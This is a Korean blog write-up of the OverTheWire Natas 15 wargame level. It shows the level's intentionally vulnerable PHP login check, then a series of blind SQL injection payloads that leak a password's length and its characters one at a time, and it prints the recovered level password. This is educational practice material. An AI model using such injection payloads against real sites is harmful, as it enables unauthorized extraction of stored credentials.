2017. 9. 28. 21:37ㆍWebHacking/[OverTheWire]Natas
1> 첫 페이지
2> 페이지 소스코드
3> DB에는 username=natas16 만이 존재함
4> PHP 소스코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); // natas15 DB에 연결해서 $query쿼리문 실행 if($res) { if(mysql_num_rows($res) > 0) { // 해당 쿼리문이 정상 실행되어 데이터를 가져왔다면 echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; } mysql_close($link); } else { ?> <form action="index.php" method="POST"> Username: <input name="username"><br> <input type="submit" value="Check existence" /> </form> <? } ?> | cs |
5> PHP Injection
PHP 소스코드
$query="SELECT * from users where username=\"" . $_REQUEST["username"] . "\"";
[1] username=natas16 ( 정상적인 쿼리문 )
=>실행 쿼리 : SELECT * FROM users WHERE username="natas16";
[2] username=natas16"%20and%201=1;%23 ( PHP Injection )
=>실행 쿼리 : SELECT * FROM users WHERE username="natas16" and 1=1;#";
[3-1] username=natas16"%20and%20ascii(length(password))>0%23; ( PHP Injection - 비밀번호 길이 유추 )
=>실행 쿼리 : SELECT * FROM users WHERE username="natas16" and ascii(length(password))>0;#";
[3-2] username=natas16"%20and%20ascii(length(password))=32%23; ( PHP Injection - 비밀번호 길이 유추 )
=>실행 쿼리 : SELECT * FROM users WHERE username="natas16" and ascii(length(password))=32;#";
0 부터 숫자를 증가시키면서 패스워드의 길이를 확인하자. 패스워드 길이는 32이이다
[4] natas16계정의 비밀번호의 각 자리수마다 일일히 확인해야 한다
[5] username=natas16%20and%20ascii(substr(password,1,1))>50;%23 ( PHP Injection )
=>실행 쿼리 : SELECT * FROM useres WHERE username="natas16" and ascii(substr(password,1,1))>50;#";
( natas16 계정의 비밀번호(password)의 첫번쨰 문자의 아스키 코드 10진수 값은 50보다 크다 )
( 범위를 줄여가면서 각 자리수 마다 모두 확인해야한다. 번거로우므로 자동화 프로그램을 작성하자 )
# substr( 문자열 , 시작 위치 , 개수 ) : 해당 문자열의 시작 위치 부터 개수만큼 문자를 가져온다
# ascii( 문자 ) : 해당 문자의 아스키 코드 10진수 값 반환
6> Python 자동화 프로그램
[ 파이썬 코드 ]
username 입력 시 " This user exists " 가 화면에 출력되는 것은 GET방식을 통해서 변조한 쿼리문이 참이라는 뜻이다
위 문자열을 출력시키는 아스키 코드값만이 진짜 패스워드에 해당 하는 것이다 따라서 화면에 출력하도록 하였다
[ Wireshark 에서 Natas서버로 가는 패킷들 확인 결과 ]
[ 실행 결과 ]
natas16: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
'WebHacking > [OverTheWire]Natas' 카테고리의 다른 글
[ Natas 17 -> Natas18 PHP Injection ] (0) | 2017.09.28 |
---|---|
[ Natas 16 -> Natas17 `Command`,"$(Command)" ] (0) | 2017.09.28 |
[ Natas 14 -> Natas 15 PHP Injection ( 쿼리 조건문 변조 ) ] (0) | 2017.09.28 |
[ Natas 13 -> Natas 14 파일 시그니처 ( File Signature ) ] (0) | 2017.09.25 |
[ Natas 10 -> Natas 11 grep 다중명령어 ] (0) | 2017.09.23 |